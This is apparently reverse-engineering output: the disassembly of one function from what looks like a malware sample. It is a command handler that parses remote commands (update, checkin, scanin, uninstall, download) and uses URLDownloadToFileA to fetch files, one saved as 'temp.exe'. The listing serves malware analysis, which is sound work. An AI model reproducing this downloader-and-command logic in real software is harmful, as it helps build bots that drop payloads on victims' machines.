Function at 0x405760
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x23
je 0x4059bb
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4059bb
push str.update_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.update_
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x405818
push str.update_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
push 0x3b
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.004012a0
add esp, 0xc
push str.val
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x407380
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0x406d48
lea eax, [ebp - 0x10c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
jmp 0x4059b6
push str.checkin:
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.checkin:
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x40588b
push str.checkin:
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
push 0x3b
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0xc]
push eax
call fcn.004012a0
add esp, 0xc
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
add ecx, 1
mov dword [ebp + 8], ecx
lea edx, [ebp - 0xc]
push edx
call fcn.00401260
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jbe 0x405886
mov eax, dword [ebp - 4]
mov dword [0x407a94], eax
jmp 0x4059b6
push str.scanin:
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.scanin:
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x4058fe
push str.scanin:
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
push 0x3b
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0xc]
push eax
call fcn.004012a0
add esp, 0xc
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
add ecx, 1
mov dword [ebp + 8], ecx
lea edx, [ebp - 0xc]
push edx
call fcn.00401260
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jbe 0x4058f9
mov eax, dword [ebp - 4]
mov dword [0x407a98], eax
jmp 0x4059b6
push str.uninstall
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.uninstall
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x405927
call fcn.00405650
jmp 0x4059b6
push str.download_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.download_
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x4059b6
push str.download_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
push 0x3b
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.004012a0
add esp, 0xc
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
push str.val
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x407380
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push str.temp.exe
lea edx, [ebp - 0x10c]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
jmp 0x405772
mov esp, ebp
pop ebp
ret